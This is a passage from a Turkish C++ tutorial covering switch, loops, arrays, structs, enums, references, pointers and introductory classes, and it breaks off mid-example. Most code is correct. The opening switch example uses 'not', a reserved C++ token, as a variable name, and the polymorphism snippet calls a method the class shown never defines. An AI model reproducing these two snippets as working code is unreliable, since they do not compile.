2. **case**: Her bir case, kontrol edilecek değeri belirtir. Bir case bloğunda kod çalıştıktan sonra, eğer break ifadesi yoksa, kontrol akışı sonraki case'lere geçer.
3. **default**: Hiçbir case durumu sağlanmadığında çalıştırılacak kod bloğunu tanımlar. **default** durumu isteğe bağlıdır.

**Örnek: Not Kontrolü**

Aşağıdaki örnekte, bir notun harf karşılığını kontrol eden bir switch ifadesi gösterilmektedir:

```cpp
#include <iostream>
using namespace std;

int main() {
    char not = 'B';

    switch (not) {
        case 'A':
            cout << "Mükemmel!" << endl;
            break;
        case 'B':
            cout << "Çok iyi!" << endl;
            break;
        case 'C':
            cout << "İyi!" << endl;
            break;
        case 'D':
            cout << "Geçer!" << endl;
            break;
        case 'F':
            cout << "Kalır!" << endl;
            break;
        default:
            cout << "Geçersiz not!" << endl;
            break;
    }

    return 0;
}
```


# 1.13 While Döngüsü

C++ dilinde **while** döngüsü, belirli bir koşul sağlandığı sürece bir kod bloğunu tekrar tekrar çalıştırmak için kullanılır. Bu döngü, koşulun doğru olduğu sürece çalışmaya devam eder. Eğer koşul başlangıçta yanlışsa, döngü gövdesi bir kez bile çalıştırılmayabilir.

**Temel Yapı**

**while** döngüsünün temel yapısı şu şekildedir:

```cpp
while (koşul) {
    // Çalıştırılacak kod bloğu
}
```

**Örnek: Basit Bir Sayma**

Aşağıdaki örnekte, bir değişkenin değeri 1'den başlayarak 5'e kadar sayan bir while döngüsü gösterilmektedir:

```cpp
#include <iostream>
using namespace std;

int main() {
    int sayi = 1;

    while (sayi <= 5) {
        cout << "Sayi: " << sayi << endl;
        sayi++;  // Değişkeni artır
    }

    return 0;
}
```

**Önemli Noktalar**

1. **Koşul Kontrolü**: Döngünün her yinelemesinde koşul kontrol edilir. Eğer koşul doğruysa, döngü gövdesi çalıştırılır.
2. **Değişken Güncelleme**: Döngü içinde kullanılan değişkenlerin güncellenmesi önemlidir. Aksi takdirde, döngü sonsuz döngüye girebilir.
3. **Sonsuz Döngü**: Eğer koşul hiçbir zaman yanlış olmazsa (örneğin, `while (true)` şeklinde bir ifade), döngü sonsuz döngüye girer. Bu durumda döngüyü kırmak için `break` ifadesi kullanılabilir.

**Örnek: Kullanıcıdan Girdi Alma**

Aşağıdaki örnekte, kullanıcıdan sürekli olarak bir sayı alıp, kullanıcı 0 girdiğinde döngüyü kıran bir while döngüsü gösterilmektedir:

```cpp
#include <iostream>
using namespace std;

int main() {
    int girdi;

    cout << "Bir sayi girin (0 ile çıkış yapar): ";

    while (true) { // Sonsuz döngü
        cin >> girdi;

        if (girdi == 0) {
            break; // Döngüyü kır
        }

        cout << "Girdiğiniz sayı: " << girdi << endl;
    }

    return 0;
}
```


# 1.13.1 Do While Döngüsü

C++ dilinde **do...while** döngüsü, belirli bir kod bloğunu en az bir kez çalıştırmak için kullanılır. Bu döngü, koşulun kontrolünü döngü gövdesinin sonunda yapar, bu nedenle kod bloğu her zaman en az bir kez çalıştırılır.

**Temel Yapı**

**do...while** döngüsünün temel yapısı şu şekildedir:

```cpp
do {
    // Çalıştırılacak kod bloğu
} while (koşul);
```

**Örnek: Basit Bir Sayma**

Aşağıdaki örnekte, bir değişkenin değeri 1'den başlayarak 5'e kadar sayan bir do...while döngüsü gösterilmektedir:

```cpp
#include <iostream>
using namespace std;

int main() {
    int sayi = 1;

    do {
        cout << "Sayi: " << sayi << endl;
        sayi++;  // Değişkeni artır
    } while (sayi <= 5); // Koşul burada kontrol edilir

    return 0;
}
```

**Önemli Noktalar**

1. **Koşul Kontrolü**: Döngünün gövdesi en az bir kez çalıştırılır ve ardından koşul kontrol edilir.
2. **Değişken Güncelleme**: Döngü içinde kullanılan değişkenlerin güncellenmesi önemlidir. Aksi takdirde, döngü sonsuz döngüye girebilir.
3. **Sonsuz Döngü**: Eğer koşul asla yanlış olmazsa (örneğin, `while (true)` şeklinde bir ifade), döngü sonsuz döngüye girebilir. Bu durumda döngüyü kırmak için `break` ifadesi kullanılabilir.

**Örnek: Kullanıcıdan Girdi Alma**

Aşağıdaki örnekte, kullanıcıdan sürekli olarak bir sayı alıp, kullanıcı 0 girdiğinde döngüyü kıran bir do...while döngüsü gösterilmektedir:

```cpp
#include <iostream>
using namespace std;

int main() {
    int girdi;

    do {
        cout << "Bir sayi girin (0 ile çıkış yapar): ";
        cin >> girdi;

        cout << "Girdiğiniz sayı: " << girdi << endl;
    } while (girdi != 0); // Koşul burada kontrol edilir

    return 0;
}
```


# 1.14 For Döngüsü

C++ dilinde **for** döngüsü, belirli bir sayıda tekrar yapmayı kolaylaştırır. Genellikle döngü sayısını bilmemiz gerektiğinde kullanılır.

**Temel Yapı**

**for** döngüsünün temel yapısı şu şekildedir:

```cpp
for (başlangıç; koşul; artırma) {
    // Çalıştırılacak kod bloğu
}
```

**Örnek: Basit Sayma**

Aşağıdaki örnekte, 1'den 5'e kadar olan sayılar yazdırılmaktadır:

```cpp
#include <iostream>
using namespace std;

int main() {
    for (int i = 1; i <= 5; i++) {
        cout << "Sayi: " << i << endl;
    }
    return 0;
}
```

#### C++ İç İçe Döngüler (Nested Loops)

**İç İçe Döngüler**, bir döngü içinde başka bir döngü kullanarak daha karmaşık tekrarlar yapmayı sağlar. İç içe döngüler, çok boyutlu dizilerle çalışırken yaygın olarak kullanılır.

**Örnek: İç İçe For Döngüsü**

Aşağıdaki örnekte, 1'den 3'e kadar olan sayılar için her biri için 1'den 2'ye kadar olan sayılar yazdırılmaktadır:

```cpp
#include <iostream>
using namespace std;

int main() {
    for (int i = 1; i <= 3; i++) {
        for (int j = 1; j <= 2; j++) {
            cout << "i: " << i << ", j: " << j << endl;
        }
    }
    return 0;
}
```

#### C++ Foreach Döngüsü

C++ dilinde **foreach** döngüsü, özellikle diziler veya koleksiyonlar üzerinde yineleme yapmak için kullanılır. Ancak C++'da doğrudan bir `foreach` anahtar kelimesi yoktur. Bunun yerine, **range-based for loop** kullanarak benzer bir işlevsellik elde edebiliriz.

**Temel Yapı**

```cpp
for (veri_türü eleman : dizi) {
    // Çalıştırılacak kod bloğu
}
```

**Örnek: Range-based For Döngüsü**

Aşağıdaki örnekte, bir dizinin elemanlarını yazdırmak için range-based for döngüsü kullanılmaktadır:

```cpp
#include <iostream>
using namespace std;

int main() {
    int dizi[] = {1, 2, 3, 4, 5};

    for (int eleman : dizi) {
        cout << "Eleman: " << eleman << endl;
    }
    return 0;
}
```


# 1.15 Break/Continue

C++ dilinde, döngülerin kontrolünü sağlamak için **break** ve **continue** anahtar kelimeleri kullanılır. Bu anahtar kelimeler, döngülerin akışını değiştirmeye yarar ve programın belirli bölümlerinin daha etkili bir şekilde çalışmasını sağlar.

**1. Break**

**break** ifadesi, bir döngüden çıkmak için kullanılır. Kullanıldığında, döngü hemen sona erer ve kontrol, döngünün dışındaki ilk ifadeye geçer. Genellikle belirli bir koşul gerçekleştiğinde döngüyü sonlandırmak için kullanılır.

**Örnek: Break Kullanımı**

Aşağıdaki örnekte, `i` değişkeni 5'e ulaştığında döngü durur:

```cpp
#include <iostream>
using namespace std;

int main() {
    for (int i = 1; i <= 10; i++) {
        if (i == 5) {
            break; // i 5 olduğunda döngüden çık
        }
        cout << "Sayi: " << i << endl;
    }
    return 0;
}
```

**Çıktı:**

```makefile
Sayi: 1
Sayi: 2
Sayi: 3
Sayi: 4
```

**2. Continue**

**continue** ifadesi, döngüde bir sonraki yinelemeye geçmek için kullanılır. Kullanıldığında, döngünün o anki yinelemesi atlanır ve kontrol döngünün başına geri döner. Yani, döngüdeki kalan kodlar atlanır, ancak döngü çalışmaya devam eder.

**Örnek: Continue Kullanımı**

Aşağıdaki örnekte, `i` değişkeni 5 olduğunda, bu değer atlanır ve diğer sayılar yazdırılır:

```cpp
#include <iostream>
using namespace std;

int main() {
    for (int i = 1; i <= 10; i++) {
        if (i == 5) {
            continue; // i 5 olduğunda bu yinelemeyi atla
        }
        cout << "Sayi: " << i << endl;
    }
    return 0;
}
```

**Çıktı:**

```makefile
Sayi: 1
Sayi: 2
Sayi: 3
Sayi: 4
Sayi: 6
Sayi: 7
Sayi: 8
Sayi: 9
Sayi: 10
```


# 1.16 Diziler

C++'da diziler, aynı türdeki birden fazla veriyi depolamak için kullanılan bir veri yapısıdır. Dizi, sabit bir boyuta sahip olup, bu boyut dizi tanımlanırken belirtilir. Diziler, indeksleme kullanılarak erişilen elemanlar içerir.

**1. Dizi Tanımlama**

Dizi tanımlarken, dizi türü, adı ve boyutu belirtilmelidir.

```cpp
#include <iostream>
using namespace std;

int main() {
    int numbers[5]; // 5 elemanlı bir tamsayı dizisi
    return 0;
}
```

**2. Dizi ve Döngü (Arrays and Loop)**

Dizi elemanlarına erişmek için döngüler kullanılır. Genellikle `for` döngüsü, dizinin her bir elemanını ziyaret etmek için kullanılır.

**Örnek: Dizi Elemanlarına Erişim**

```cpp
#include <iostream>
using namespace std;

int main() {
    int numbers[5] = {1, 2, 3, 4, 5};

    for (int i = 0; i < 5; i++) {
        cout << "Sayi: " << numbers[i] << endl; // Dizi elemanlarını yazdır
    }
    return 0;
}
```

**3. Dizi Boyutunu Atlamadan Tanımlama (Omit Array Size)**

Dizinin boyutunu belirtmek zorunda değilsiniz. Dizi elemanlarını atadığınızda, derleyici dizinin boyutunu otomatik olarak belirler.

**Örnek: Dizi Boyutunu Atlamadan Tanımlama**

```cpp
#include <iostream>
using namespace std;

int main() {
    int numbers[] = {10, 20, 30, 40, 50}; // Boyut belirtilmiyor

    for (int i = 0; i < 5; i++) {
        cout << "Sayi: " << numbers[i] << endl; // Dizi elemanlarını yazdır
    }
    return 0;
}
```

**4. Dizi Boyutunu Alma (Get Array Size)**

Dizinin boyutunu almak için `sizeof` operatörünü kullanabilirsiniz. Bu operatör, dizinin toplam boyutunu byte cinsinden döndürür. Dizi elemanlarının boyutuna bölerek, dizi eleman sayısını bulabilirsiniz.

**Örnek: Dizi Boyutunu Alma**

```cpp
#include <iostream>
using namespace std;

int main() {
    int numbers[] = {10, 20, 30, 40, 50};
    int size = sizeof(numbers) / sizeof(numbers[0]); // Dizi boyutunu hesapla

    cout << "Dizi Boyutu: " << size << endl; // Dizi boyutunu yazdır
    return 0;
}
```

**5. Çok Boyutlu Diziler (Multi-Dimensional Arrays)**

C++'da çok boyutlu diziler, iki veya daha fazla boyutta veri depolamak için kullanılır. En yaygın kullanılan çok boyutlu dizi, 2D dizilerdir.

**Örnek: 2D Dizi Tanımlama**

```cpp
#include <iostream>
using namespace std;

int main() {
    int matrix[2][3] = { {1, 2, 3}, {4, 5, 6} }; // 2 satır, 3 sütunlu dizi

    for (int i = 0; i < 2; i++) {
        for (int j = 0; j < 3; j++) {
            cout << "Eleman: " << matrix[i][j] << " "; // 2D dizi elemanlarını yazdır
        }
        cout << endl;
    }
    return 0;
}
```


# 1.17 Structures

C++'da yapılar (structures), farklı türlerdeki verileri bir arada tutmak için kullanılan bir veri yapısıdır. Yapılar, birden fazla değişkeni bir araya getirerek tek bir veri türü gibi kullanılmasına olanak tanır. Bu, özellikle ilişkili verilerin birlikte saklanması gerektiğinde kullanışlıdır.

**Yapı Tanımlama**

Yapılar, `struct` anahtar kelimesi ile tanımlanır. Bir yapı tanımlarken, içerdiği değişkenlerin türü ve adı belirtilir.

**Örnek: Yapı Tanımlama**

```cpp
#include <iostream>
using namespace std;

// Yapı tanımı
struct Person {
    string name;
    int age;
};

int main() {
    // Yapı kullanarak bir değişken tanımlama
    Person person1;
    
    // Değişkenlere değer atama
    person1.name = "Hüseyin Tazegül";
    person1.age = 26;

    // Değerleri yazdırma
    cout << "İsim: " << person1.name << endl;
    cout << "Yaş: " << person1.age << endl;

    return 0;
}
```

**Yapı ile Fonksiyon Kullanımı**

Yapılar, fonksiyonlara parametre olarak da geçirilebilir. Bu, yapıların daha modüler ve yeniden kullanılabilir olmasını sağlar.

**Örnek: Yapı ile Fonksiyon Kullanımı**

```cpp
#include <iostream>
using namespace std;

// Yapı tanımı
struct Person {
    string name;
    int age;
};

// Yapı parametresi alan fonksiyon
void printPerson(Person p) {
    cout << "İsim: " << p.name << endl;
    cout << "Yaş: " << p.age << endl;
}

int main() {
    Person person1;
    person1.name = "Hüseyin Tazegül";
    person1.age = 26;

    // Fonksiyona yapı gönderme
    printPerson(person1);

    return 0;
}
```

**Yapılar ve Dizi Kullanımı**

Yapılar, dizilerle birlikte kullanılabilir. Bu, birden fazla benzer yapı nesnesini depolamak için kullanışlıdır.

**Örnek: Yapılar ve Dizi Kullanımı**

```cpp
#include <iostream>
using namespace std;

// Yapı tanımı
struct Person {
    string name;
    int age;
};

int main() {
    // Yapı dizisi tanımlama
    Person people[3];

    // Dizi elemanlarını doldurma
    people[0] = {"Ali", 30};
    people[1] = {"Ayşe", 25};
    people[2] = {"Mehmet", 28};

    // Dizi elemanlarını yazdırma
    for (int i = 0; i < 3; i++) {
        cout << "İsim: " << people[i].name << ", Yaş: " << people[i].age << endl;
    }

    return 0;
}
```


# 1.18 Enums

C++'da enum (enumeration), bir değişkenin alabileceği sabit değerler kümesini tanımlamak için kullanılan bir veri türüdür. Enum'lar, kodun okunabilirliğini artırmak ve belirli bir grup sabit değeri daha anlamlı bir şekilde kullanmak için idealdir.

**Enum Tanımlama**

Enum, `enum` anahtar kelimesi ile tanımlanır. Enum tanımı, bir isim ve belirli sabit değerlerden oluşur.

**Örnek: Basit Enum Tanımı**

```cpp
#include <iostream>
using namespace std;

// Enum tanımı
enum Color {
    RED,
    GREEN,
    BLUE
};

int main() {
    // Enum değişkeni tanımlama
    Color favoriteColor;

    // Değeri atama
    favoriteColor = GREEN;

    // Enum değerini yazdırma
    cout << "Favori renk: " << favoriteColor << endl; // 1 yazdırır çünkü GREEN 1'dir

    return 0;
}
```

**Enum ile Özel Değerler Atama**

Enum değerlerine özel değerler atayabilirsiniz. Bu, belirli bir değeri temsil etme ihtiyacınıza göre özelleştirme sağlar.

**Örnek: Özel Değerler Atama**

```cpp
#include <iostream>
using namespace std;

// Enum tanımı
enum Status {
    PENDING = 1,
    IN_PROGRESS = 2,
    COMPLETED = 3
};

int main() {
    // Enum değişkeni tanımlama
    Status taskStatus;

    // Değeri atama
    taskStatus = IN_PROGRESS;

    // Enum değerini yazdırma
    cout << "Görev durumu: " << taskStatus << endl; // 2 yazdırır

    return 0;
}
```

**Enum Kullanımının Avantajları**

* **Okunabilirlik**: Kodunuzu daha anlamlı hale getirir. Sayısal değerlerin yerine açıklayıcı isimler kullanmak, kodu daha okunabilir kılar.
* **Sabit Değerler**: Enum'lar, belirli bir grup sabit değerle çalışmanızı sağlar, böylece hatalı değer atama olasılığını azaltır.

**Enum'lar ile Switch İfadesi Kullanımı**

Enum'lar, `switch` ifadesi ile birlikte kullanıldığında daha etkili bir kontrol yapısı sağlar.

**Örnek: Enum ile Switch İfadesi Kullanımı**

```cpp
#include <iostream>
using namespace std;

// Enum tanımı
enum Direction {
    NORTH,
    SOUTH,
    EAST,
    WEST
};

int main() {
    Direction myDirection = EAST;

    switch (myDirection) {
        case NORTH:
            cout << "Kuzeye gidiyorsunuz." << endl;
            break;
        case SOUTH:
            cout << "Güneye gidiyorsunuz." << endl;
            break;
        case EAST:
            cout << "Doğuya gidiyorsunuz." << endl;
            break;
        case WEST:
            cout << "Batıya gidiyorsunuz." << endl;
            break;
        default:
            cout << "Bilinmeyen yön." << endl;
    }

    return 0;
}
```


# 1.19 References

C++'da referans, bir değişkenin başka bir değişkenle olan ilişkisidir. Referanslar, bir değişkenin bellekteki adresine işaret eden alternatif isimler olarak düşünülebilir. Bu, belirli bir değişkenin bellekteki yerini değiştirmeden, o değişken üzerinde işlem yapmanıza olanak tanır.

**Referans Oluşturma**

Bir referans oluşturmak için, değişkenin tipinin ardından `&` işaretini kullanarak referansı tanımlarsınız.

**Örnek: Basit Referans Oluşturma**

```cpp
#include <iostream>
using namespace std;

int main() {
    int original = 30; // Değişken tanımı
    int &ref = original; // Referans oluşturma

    cout << "Orijinal Değişken: " << original << endl; // 30
    cout << "Referans Değişken: " << ref << endl;      // 30

    ref = 50; // Referans üzerinden değeri değiştirme

    cout << "Orijinal Değişken (değiştirildikten sonra): " << original << endl; // 50
    cout << "Referans Değişken (değiştirildikten sonra): " << ref << endl;      // 50

    return 0;
}
```

Yukarıdaki örnekte, `ref` değişkeni `original` değişkenine bir referans olarak tanımlanmıştır. `ref` üzerinden yapılan değişiklikler, `original` üzerinde de değişiklik yapar.

**Bellek Adresi**

Her değişken, bellekte bir adrese sahiptir. `&` operatörü kullanarak bir değişkenin bellek adresini alabilirsiniz.

**Örnek: Bellek Adresini Alma**

```cpp
#include <iostream>
using namespace std;

int main() {
    int number = 42; // Değişken tanımı

    cout << "Değişkenin Değeri: " << number << endl;                     // 42
    cout << "Değişkenin Bellek Adresi: " << &number << endl;            // Bellek adresini yazdırma

    return 0;
}
```

**Referansların Avantajları**

* **Bellek Verimliliği**: Referanslar, değişkenin değerini kopyalamak yerine doğrudan bellekteki adresine işaret eder. Bu, bellek kullanımını optimize eder.
* **Fonksiyonlarda Kullanım**: Fonksiyon parametreleri olarak referanslar kullanarak, fonksiyonların doğrudan değişken üzerinde işlem yapmasını sağlayabilirsiniz.

**Örnek: Fonksiyona Referans Gönderme**

```cpp
#include <iostream>
using namespace std;

void increment(int &num) {
    num++; // Referans üzerinden değeri artırma
}

int main() {
    int value = 10;

    cout << "Başlangıç Değeri: " << value << endl; // 10
    increment(value); // value referans olarak gönderiliyor
    cout << "Artırıldıktan Sonra: " << value << endl; // 11

    return 0;
}
```


# 1.20 Pointers

C++'da işaretçiler, bellekteki bir değişkenin adresini tutan değişkenlerdir. İşaretçiler, bellek yönetimini optimize etmek, fonksiyonlara parametre olarak adres göndererek değişkenleri değiştirmek ve dinamik bellek tahsisi gibi işlemler için kullanılır.

**İşaretçi Oluşturma**

Bir işaretçi oluşturmak için, değişkenin tipinin ardından `*` işaretini kullanarak işaretçiyi tanımlarsınız.

**Örnek: İşaretçi Oluşturma**

```cpp
#include <iostream>
using namespace std;

int main() {
    int value = 42;           // Değişken tanımı
    int *ptr = &value;       // İşaretçi oluşturma ve adresi alma

    cout << "Değişkenin Değeri: " << value << endl; // 42
    cout << "Değişkenin Bellek Adresi: " << &value << endl; // Bellek adresi
    cout << "İşaretçinin Göstermiş Olduğu Değer: " << *ptr << endl; // 42

    return 0;
}
```

**Dereference (Dereferencing)**

Dereference, bir işaretçinin gösterdiği adresin içeriğini almak anlamına gelir. Bunun için `*` operatörü kullanılır.

**Örnek: Dereferencing**

```cpp
#include <iostream>
using namespace std;

int main() {
    int number = 100;          // Değişken tanımı
    int *ptr = &number;       // İşaretçi oluşturma

    cout << "İşaretçinin Göstermiş Olduğu Değer: " << *ptr << endl; // 100

    // Dereferencing ile değeri değiştirme
    *ptr = 200;

    cout << "Yeni Değer: " << number << endl; // 200

    return 0;
}
```

Yukarıdaki örnekte, işaretçi üzerinden dereferencing ile `number` değişkeninin değeri değiştirilmiştir.

**İşaretçileri Değiştirme**

İşaretçilerin kendisi de başka bir adresi gösterecek şekilde değiştirilebilir.

**Örnek: İşaretçiyi Değiştirme**

```cpp
#include <iostream>
using namespace std;

int main() {
    int num1 = 10;
    int num2 = 20;
    int *ptr = &num1;  // ptr num1'in adresini tutuyor

    cout << "ptr'nin Göstermiş Olduğu Değer: " << *ptr << endl; // 10

    ptr = &num2;       // ptr'yi num2'nin adresine yönlendirme

    cout << "ptr'nin Göstermiş Olduğu Yeni Değer: " << *ptr << endl; // 20

    return 0;
}
```


# 3.0 Sınıflar

C++, nesne yönelimli programlama (OOP) paradigmasını destekleyen güçlü bir programlama dilidir. OOP, yazılım geliştirmede daha düzenli ve esnek bir yaklaşım sunar. Bu bağlamda, C++'ta **sınıflar** (classes), benzer özellik ve davranışlara sahip nesneleri tanımlamak için kullanılan temel yapılardır.

Sınıflar, verileri ve bu veriler üzerinde işlem yapabilen fonksiyonları bir araya getirerek kapsülleme (encapsulation) sağlar. Bu sayede, kodun daha düzenli, okunabilir ve yeniden kullanılabilir olması mümkün hale gelir. Ayrıca, sınıflar kalıtım (inheritance) ve çok biçimlilik (polymorphism) gibi OOP ilkelerini destekleyerek, programların karmaşıklığını yönetmeyi kolaylaştırır.

Bu bölümde, C++ sınıflarının nasıl tanımlanacağı, kullanılacağı ve nesne yönelimli programlamada nasıl bir rol oynadıkları üzerinde duracağız. Şimdi, C++’ta sınıfların tanımına ve özelliklerine daha derinlemesine bakalım.


# 3.1 OOP

**C++'da Nesne Yönelimli Programlama (OOP)**, nesneleri ve sınıfları kullanarak programların daha esnek, yapılandırılmış ve yönetilebilir olmasını sağlayan bir programlama paradigmasıdır. C++'ın OOP özellikleri, yazılımcıların daha karmaşık ve ölçeklenebilir uygulamalar geliştirmesine olanak tanır. C++'da OOP'nin dört temel prensibi vardır:

1. **Kapsülleme (Encapsulation)**: C++'da kapsülleme, verileri ve bu verilere yönelik işlevleri bir arada tutarak, nesnelerin iç yapısını dışarıdan gizlemeyi sağlar. Bu, veri güvenliğini artırır ve kodun daha düzenli olmasına yardımcı olur. Kapsülleme, genellikle "public", "private" ve "protected" erişim belirleyicileri ile uygulanır.

   ```cpp
   class BankaHesabi {
   private:
       double bakiye; // Kapsüllenmiş veri

   public:
       void paraYatir(double miktar) { // Public metot
           bakiye += miktar;
       }

       double bakiyeGoster() { // Public metot
           return bakiye;
       }
   };
   ```
2. **Soyutlama (Abstraction)**: C++'da soyutlama, karmaşık sistemlerin basitleştirilmesini ve sadece önemli özelliklerin görünür hale getirilmesini sağlar. Kullanıcı, bir nesnenin detaylarıyla değil, yalnızca işlevselliği ile etkileşimde bulunur. Soyutlama genellikle arayüzler ve soyut sınıflar ile gerçekleştirilir.

   ```cpp
   class Sekil { // Soyut sınıf
   public:
       virtual void ciz() = 0; // Saf sanal fonksiyon
   };

   class Daire : public Sekil {
   public:
       void ciz() override { // Override ile soyut fonksiyonun implementasyonu
           // Daire çizme kodu
       }
   };
   ```
3. **Miras (Inheritance)**: Miras, bir sınıfın (alt sınıf) başka bir sınıftan (üst sınıf) özelliklerini ve işlevselliğini miras almasını sağlar. Bu, kod tekrarını azaltır ve yeni sınıfların oluşturulmasını kolaylaştırır. C++'da miras, "public", "protected" veya "private" erişim belirleyicileri ile yapılabilir.

   ```cpp
   class Hayvan { // Üst sınıf
   public:
       void ye() {
           // Yeme işlemi
       }
   };

   class Kopek : public Hayvan { // Alt sınıf
   public:
       void havla() {
           // Havlama işlemi
       }
   };
   ```
4. **Polimorfizm (Polymorphism)**: Polimorfizm, aynı isimdeki fonksiyonların farklı nesneler üzerinde farklı şekillerde çalışabilmesini sağlar. Bu, genellikle sanal fonksiyonlar ve işaretçilerle gerçekleştirilir.

   ```cpp
   void sesCikar(Hayvan* hayvan) {
       hayvan->sesCikar(); // Polimorfik çağrı
   }
   ```

C++'da OOP, yazılım geliştirmede daha modüler ve esnek bir yaklaşım sağlar. Nesne yönelimli programlama ile, yazılımcılar daha kolay bakım yapılabilir ve genişletilebilir yazılımlar geliştirebilirler. C++'ın sunduğu OOP özellikleri sayesinde, karmaşık sistemlerin yönetimi ve geliştirilmesi daha etkili hale gelir.


# 3.2 Sınıflar ve Objeler

C++'da sınıflar, nesne yönelimli programlamanın temel yapı taşlarıdır. Sınıflar, belirli bir veri kümesi ve bu verilere yönelik işlevler (metotlar) içeren bir şablondur. Nesneler ise bu sınıfların örnekleridir. Her nesne, sınıfın tanımladığı özellikleri ve işlevleri barındırır.

**Sınıf Tanımı**

Bir sınıf tanımlarken, o sınıfa ait değişkenleri (özellikler) ve fonksiyonları (metotlar) belirleriz. Sınıfın içeriği, "public", "private" veya "protected" erişim belirleyicileri ile düzenlenir.

```cpp
class Araba {
private:
    std::string marka; // Özellik
    int yil; // Özellik

public:
    // Constructor (Yapıcı Metot)
    Araba(std::string m, int y) : marka(m), yil(y) {}

    // Metotlar
    void bilgiGoster() {
        std::cout << "Marka: " << marka << ", Yıl: " << yil << std::endl;
    }
};
```

**Nesne Oluşturma**

Bir sınıf tanımlandıktan sonra, bu sınıftan nesneler oluşturabiliriz. Aşağıdaki örnekte, `Araba` sınıfından `araba1` ve `araba2` adında iki nesne oluşturulmuştur.

```cpp
int main() {
    // Nesne oluşturma
    Araba araba1("Toyota", 2020);
    Araba araba2("Ford", 2019);

    // Metot çağrısı
    araba1.bilgiGoster();
    araba2.bilgiGoster();

    return 0;
}
```

**Sınıfın Özellikleri ve Metotları**

Sınıflar, özelliklerin yanı sıra metotlar da içerebilir. Metotlar, sınıfa ait verilere erişmek ve bu veriler üzerinde işlemler yapmak için kullanılır. Aşağıdaki örnekte `Araba` sınıfının bir `bilgiGoster()` metodu bulunmaktadır.

```cpp
void bilgiGoster() {
    std::cout << "Marka: " << marka << ", Yıl: " << yil << std::endl;
}
```

**Constructor ve Destructor**

Constructor (yapıcı metot), bir nesne oluşturulduğunda otomatik olarak çağrılan bir metottur. Sınıfın özelliklerini başlatmak için kullanılır. Destructor (yıkıcı metot) ise bir nesne bellekten silindiğinde çağrılır ve kaynakları serbest bırakmak için kullanılır.

```cpp
// Yapıcı metot
Araba(std::string m, int y) : marka(m), yil(y) {}

// Yıkıcı metot
~Araba() {
    // Temizlik işlemleri
}
```

#### Örnek

Aşağıdaki örnekte `Araba` sınıfı oluşturulmuş ve bu sınıf üzerinden nesneler oluşturulmuştur:

```cpp
#include <iostream>
#include <string>

class Araba {
private:
    std::string marka;
    int yil;

public:
    Araba(std::string m, int y) : marka(m), yil(y) {}

    void bilgiGoster() {
        std::cout << "Marka: " << marka << ", Yıl: " << yil << std::endl;
    }
};

int main() {
    Araba araba1("Toyota", 2020);
    Araba araba2("Ford", 2019);

    araba1.bilgiGoster();
    araba2.bilgiGoster();

    return 0;
}
```

#### Sonuç

C++'da sınıflar ve nesneler, veri yapıları ve işlevsellikleri bir araya getirerek daha karmaşık ve ölçeklenebilir uygulamalar geliştirmeye olanak tanır. Sınıflar sayesinde, programcılar kodlarını daha düzenli ve anlaşılır bir şekilde organize edebilirler. Bu, yazılımın bakımını ve genişletilmesini kolaylaştırır.


# 3.3 Sınıf Methodları

C++'da sınıf metotları, bir sınıfın nesneleri ile ilişkili işlevlerdir. Bu metotlar, sınıfın özelliklerine erişim sağlar ve nesne üzerinde çeşitli işlemler gerçekleştirmek için kullanılır. Sınıf metotları, `public`, `private` veya `protected` erişim belirleyicileri ile tanımlanabilir. Bu, metotların görünürlüğünü ve erişim düzeyini kontrol eder.

**Sınıf Metotlarının Tanımı**

Bir sınıf metodu, sınıfın içindeki verilerle çalışmak için tanımlanır. Aşağıda basit bir sınıf ve bu sınıfın bir metodunu gösteren bir örnek bulunmaktadır:

```cpp
#include <iostream>
#include <string>

class Kisi {
private:
    std::string isim; // Özellik

public:
    // Constructor (Yapıcı Metot)
    Kisi(std::string i) : isim(i) {}

    // Metot
    void bilgiGoster() {
        std::cout << "İsim: " << isim << std::endl;
    }
};
```

**Metot Çağrısı**

Sınıfın metotlarını çağırmak için öncelikle bir nesne oluşturmanız gerekir. Aşağıdaki örnekte, `Kisi` sınıfından bir nesne oluşturulmuş ve `bilgiGoster()` metodu çağrılmıştır:

```cpp
int main() {
    Kisi kisi1("Ahmet");
    kisi1.bilgiGoster(); // Çıktı: İsim: Ahmet

    return 0;
}
```

**Parametreli Metotlar**

Sınıf metotları, parametre alabilir. Bu, metotların daha dinamik bir şekilde çalışmasını sağlar. Aşağıdaki örnekte `Kisi`sınıfına `isimDegistir` metodu eklenmiştir:

```cpp
void isimDegistir(std::string yeniIsim) {
    isim = yeniIsim; // Özelliği günceller
}
```

Bu metot, bir kişinin ismini değiştirmek için kullanılır. Aşağıdaki şekilde çağrılabilir:

```cpp
int main() {
    Kisi kisi1("Ahmet");
    kisi1.bilgiGoster(); // Çıktı: İsim: Ahmet

    kisi1.isimDegistir("Mehmet"); // İsmi değiştir
    kisi1.bilgiGoster(); // Çıktı: İsim: Mehmet

    return 0;
}
```

**Statik Metotlar**

Statik metotlar, sınıfın herhangi bir nesnesine ihtiyaç duymadan çağrılabilen metotlardır. Statik metotlar, genellikle sınıfın genel işlevselliği için kullanılır. Aşağıda statik bir metot örneği verilmiştir:

```cpp
class Matematik {
public:
    static int topla(int a, int b) {
        return a + b;
    }
};
```

Bu metot, sınıfın bir nesnesi olmadan çağrılabilir:

```cpp
int main() {
    int sonuc = Matematik::topla(5, 10); // Statik metot çağrısı
    std::cout << "Sonuç: " << sonuc << std::endl; // Çıktı: Sonuç: 15

    return 0;
}
```

**Sonuç**

C++'da sınıf metotları, nesne yönelimli programlamanın temel bir parçasıdır. Bu metotlar, sınıfın içindeki verilere erişmek ve bu veriler üzerinde işlemler yapmak için kullanılır. Sınıf metotları ile programlarınızı daha düzenli ve anlaşılır bir şekilde tasarlayabilirsiniz.


# 3.4 Yapıcılar (Constructors)

C++'da yapıcılar, bir sınıfın nesneleri oluşturulduğunda otomatik olarak çağrılan özel metotlardır. Yapıcılar, nesnenin başlangıç değerlerini belirlemek ve nesne oluşturulurken gerekli olan diğer işlemleri gerçekleştirmek için kullanılır. Yapıcılar, sınıfın adını taşır ve dönüş tipi yoktur.

**Yapıcıların Özellikleri**

1. **İsim**: Yapıcılar, sınıfın adıyla aynı isme sahiptir.
2. **Dönüş Tipi**: Yapıcıların dönüş tipi yoktur, bu yüzden herhangi bir tip belirtilmez.
3. **Parametreler**: Yapıcılar, nesne oluşturulurken başlangıç değerlerini almak için parametre alabilir.
4. **Varsayılan Yapıcı**: Parametre almayan bir yapıcı, varsayılan yapıcı olarak adlandırılır.

**Yapıcı Örnekleri**

Aşağıda, C++'da yapıcıların nasıl tanımlandığına ve kullanıldığına dair bir örnek bulunmaktadır:

```cpp
#include <iostream>
#include <string>

class Araba {
private:
